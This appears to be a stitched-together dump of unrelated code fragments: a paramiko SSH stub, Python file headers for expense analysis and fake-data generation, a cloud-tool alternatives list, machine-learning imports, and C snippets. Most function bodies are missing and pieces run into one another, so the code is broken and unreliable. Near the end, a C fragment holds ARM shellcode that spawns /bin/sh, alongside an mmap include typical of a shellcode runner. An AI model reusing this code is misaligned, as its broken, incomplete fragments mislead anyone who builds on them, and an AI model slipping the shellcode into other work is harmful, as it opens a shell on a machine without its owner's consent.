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import getpass
import paramiko
import time
def execute_command_ssh(olt_ip, username, password):
# Create an SSH client instance
ssh_client = paramiko.SSHClient()
# Automatically add the server's host key
#!/usr/bin/env python
# -*-coding:utf-8 -*-
@File :
@Time : 2023/03/09 13:08:34
@Version : 1.0
@Contact :
@Desc : Splitwise Class for analyzing and visualizing personal expenditure
#!/usr/bin/env python
# -*-coding:utf-8 -*-
@File :
@Time : 2023/04/09 17:01:04
@Author : NSL
@Version : 1.0
@Contact :
@Desc : None
Cloud Tool Local Alternative
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Trello Asana
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GitHub Git
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#!/usr/bin/env python
# -*-coding:utf-8 -*-
@File :
@Time : 2023/02/09 20:57:22
@Author : Shanto Roy
@Version : 1.0
@Contact :
@License : (C)Copyright 2020-2021, Shanto Roy
@Desc : Class that replace real information with fake believable ones.
# Helps Visualizing overall summary of all features in a dataset
# !pip install numpy
# !pip install pandas
# !pip install autoviz
# !pip install xlrd
# !pip install xgboost
from autoviz.AutoViz_Class import AutoViz_Class
AV = AutoViz_Class()
# Modified from source:
# Feature Selection with Univariate Statistical Tests
from pandas import read_csv
from numpy import set_printoptions
from sklearn.feature_selection import SelectKBest
from sklearn.feature_selection import f_classif
from sklearn.feature_selection import chi2
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn.metrics import classification_report, confusion_matrix
import joblib
import os
def preprocess(dataset, x_iloc_list, y_iloc, testSize):
// source:
#include <string.h>
#include <sys/mman.h>
// /bin/sh shellcode
const char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58";
int main(int argc, char **argv)
// Function Pointer
#include <stdio.h>
int sum(int a, int b)
return a+b;
void hello_name(char *name)